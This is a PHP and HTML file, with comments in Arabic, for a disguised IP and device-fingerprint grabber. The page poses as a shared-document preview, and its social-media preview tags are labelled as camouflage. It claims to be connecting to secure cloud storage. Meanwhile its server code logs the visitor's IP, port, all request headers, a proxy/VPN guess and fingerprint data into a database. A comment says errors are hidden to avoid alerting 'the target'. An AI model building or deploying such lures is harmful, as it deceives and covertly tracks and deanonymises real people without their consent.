<?php
// 1. تهيئة قاعدة بيانات SQLite3 وتجهيز الجدول الشامل بنسبة 100%
try {
    $db = new PDO('sqlite:forensic_logs.db');
    $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    
    $db->exec("CREATE TABLE IF NOT EXISTS system_logs (
        id INTEGER PRIMARY KEY AUTOINCREMENT, 
        ip TEXT, 
        source_port INTEGER, 
        user_agent TEXT, 
        os_details TEXT,
        device_model TEXT,
        screen_resolution TEXT,
        connection_type TEXT,
        effective_type TEXT,
        vpn_detected TEXT,
        hardware_metrics TEXT,
        software_fingerprint TEXT,
        referer TEXT,
        timestamp TEXT)");

    // الترحيل التلقائي لقاعدة البيانات لإضافة الأعمدة الجديدة
    $new_cols = [
        'local_ip' => 'TEXT',
        'geoip_data' => 'TEXT',
        'headers' => 'TEXT'
    ];
    foreach ($new_cols as $col => $type) {
        try {
            $db->exec("ALTER TABLE system_logs ADD COLUMN $col $type");
        } catch (PDOException $e) {
            // يتم تجاهل الخطأ في حال كان العمود موجوداً بالفعل
        }
    }
} catch (PDOException $e) {
    // إخفاء الأخطاء تماماً لمنع لفت انتباه الهدف
    die();
}

// 2. استقبال وحفظ حزمة البيانات الموحدة عبر AJAX POST
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    header('Content-Type: application/json');
    $rawData = file_get_contents('php://input');
    $jsonData = json_decode($rawData, true);

    if ($jsonData) {
        // تحديد الـ IP الحقيقي بشكل دقيق جداً بدعم للشبكات العكسية والبروكسيات المختلفة
        $clientIp = 'Unknown';
        $ip_keys = [
            'HTTP_CF_CONNECTING_IP', 
            'HTTP_TRUE_CLIENT_IP',
            'HTTP_X_REAL_IP',
            'HTTP_X_FORWARDED_FOR',
            'HTTP_CLIENT_IP',
            'REMOTE_ADDR'
        ];
        foreach ($ip_keys as $key) {
            if (isset($_SERVER[$key]) && !empty($_SERVER[$key])) {
                if ($key === 'HTTP_X_FORWARDED_FOR') {
                    $ips = array_map('trim', explode(',', $_SERVER[$key]));
                    $clientIp = $ips[0];
                } else {
                    $clientIp = $_SERVER[$key];
                }
                break;
            }
        }

        $clientPort = $_SERVER['HTTP_X_REAL_PORT'] ?? ($_SERVER['REMOTE_PORT'] ?? 0);
        $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
        $referer = $_SERVER['HTTP_FORWARDED_FOR_DIRECT'] ?? ($_SERVER['HTTP_REFERER'] ?? 'Direct');
        $timestamp = date('Y-m-d H:i:s');

        // التقاط وتوثيق كافة هيدرات الطلب للتحليل اللاحق
        $headers = [];
        foreach ($_SERVER as $name => $value) {
            if (substr($name, 0, 5) == 'HTTP_') {
                $headerName = str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))));
                $headers[$headerName] = $value;
            } elseif (in_array($name, ['CONTENT_TYPE', 'CONTENT_LENGTH', 'REMOTE_ADDR', 'REMOTE_PORT'])) {
                $headerName = str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', $name))));
                $headers[$headerName] = $value;
            }
        }
        $headersJson = json_encode($headers);

        // فحص الـ VPN والبروكسي تكتيكياً من جهة السيرفر
        $vpnDetected = 'No';
        $proxyHeaders = [
            'HTTP_VIA', 
            'HTTP_FORWARDED', 
            'HTTP_X_FORWARDED', 
            'HTTP_FORWARDED_FOR',
            'HTTP_CLIENT_IP', 
            'HTTP_PROXY_CONNECTION'
        ];
        foreach ($proxyHeaders as $header) {
            if (!empty($_SERVER[$header]) && $header !== 'HTTP_X_FORWARDED_FOR') {
                $vpnDetected = 'Yes (Proxy Header Detected: ' . htmlspecialchars($header) . ')';
            }
        }

        // إدخال السجل الجنائي الكامل في قاعدة البيانات
        try {
            $stmt = $db->prepare("INSERT INTO system_logs (
                ip, source_port, user_agent, os_details, device_model, 
                screen_resolution, connection_type, effective_type, 
                vpn_detected, hardware_metrics, software_fingerprint, referer, timestamp,
                local_ip, geoip_data, headers
            ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)");

            $stmt->execute([
                $clientIp,
                (int)$clientPort,
                $userAgent,
                $jsonData['os_details'] ?? 'Unknown',
                $jsonData['device_model'] ?? 'Unknown',
                $jsonData['screen_resolution'] ?? 'Unknown',
                $jsonData['connection_type'] ?? 'Unknown',
                $jsonData['effective_type'] ?? 'Unknown',
                $vpnDetected,
                json_encode($jsonData['hardware_metrics'] ?? []),
                json_encode($jsonData['software_fingerprint'] ?? []),
                $referer,
                $timestamp,
                $jsonData['local_ip'] ?? 'Unknown',
                json_encode($jsonData['geoip_data'] ?? null),
                $headersJson
            ]);
            echo json_encode(["status" => "success"]);
        } catch (Exception $e) {
            echo json_encode(["status" => "error", "message" => $e->getMessage()]);
        }
    }
    exit();
}
?>
<!DOCTYPE html>
<html lang="ar" dir="rtl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>معاينة المستند المشترك</title>
    
    <!-- وسوم الـ Open Graph للتمويه الاحترافي داخل منصات التواصل -->
    <meta property="og:title" content="تحميل المرفقات والملفات المستلمة حصرًا" />
    <meta property="og:description" content="انقر هنا لمعاينة وتنزيل ألبوم الصور والملفات المتبادلة المرفقة." />
    <meta property="og:image" content="https://images.unsplash.com/photo-1544396821-4dd40b938ad3?q=80&w=600" />
    <meta property="og:type" content="article" />

    <link rel="stylesheet" href="style.css">
</head>
<body>

    <div class="card shadow-lg">
        <div class="loader"></div>
        <h3 id="status-text">جاري جلب ومعاينة الملف المشترك...</h3>
        <p class="text-muted">يرجى الانتظار ثوانٍ، يتم الاتصال بخادم التخزين السحابي الآمن.</p>
    </div>

    <!-- استدعاء سكربت البصمة الرقمية الشامل -->
    <script src="script.js"></script>
</body>
</html>